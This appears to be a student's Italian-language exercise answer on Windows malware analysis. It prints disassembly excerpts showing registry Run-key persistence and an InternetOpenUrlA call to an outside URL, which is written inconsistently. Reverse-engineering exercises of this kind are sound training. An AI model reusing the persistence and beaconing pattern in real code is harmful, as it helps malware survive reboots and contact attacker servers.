

## S11/L1

### Windows Malware

Traccia: Con riferimento agli estratti di un malware reale presenti nelle prossime slide, rispondere alle seguenti domande:

- Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite
- Identificare il client software utilizzato dal malware per la connessione ad Internet
- Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL

```
0040286F  push    2                ; samDesired
00402871  push    eax              ; ulOptions
00402872  push    offset SubKey    ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push    HKEY_LOCAL_MACHINE ; hKey
0040287C  call    esi              ; RegOpenKeyExW
```

In queste righe di codice si passano i parametri del RegOpenKeyxW sullo stack e successivamente viene usata l'istruzione call per chiamare la funzione dentro "esi".

```
004028A1  lea     ecx, [esp+434h+ValueName]
004028A8  push    ecx              ; lpValueName
004028A9  push    edx              ; hKey
004028AA  call    ds:RegSetValueExW
```

In queste righe si modificano i valori del registro utilizzando il set di comandi "lea" e "push" che caricano nello stack i valori che cambiano il registro per fare in modo che il malware abbia l'accesso persistente all'avvio del sistema operativo.

```
.text:0040115A  push    offset szAgent    ; "Internet Explorer 8.0"
.text:0040115F  call    ds:InternetOpenA
.text:00401165  mov     edi, ds:InternetOpenUrlA
.text:0040116B  mov     esi, eax
```

Il client software utilizzato dal malware è "Internet Explorer 8.0"

```

.text:00401178      push    offset szUrl      ; "http://www.malware12COM
.text:0040117D      push    esi              ; hInternet
.text:0040117E      call   edi ; InternetOpenUrlA
.text:00401180      jmp     short loc_40116D
.text:00401180 StartAddress      endp
.text:00401180

```

L'URL utilizzato dal malware è <http://www.malware.12.com>, mentre la chiamata di funzione che permette al malware di connettersi all' URL è la funzione "call edi; InternetOpenUrlA"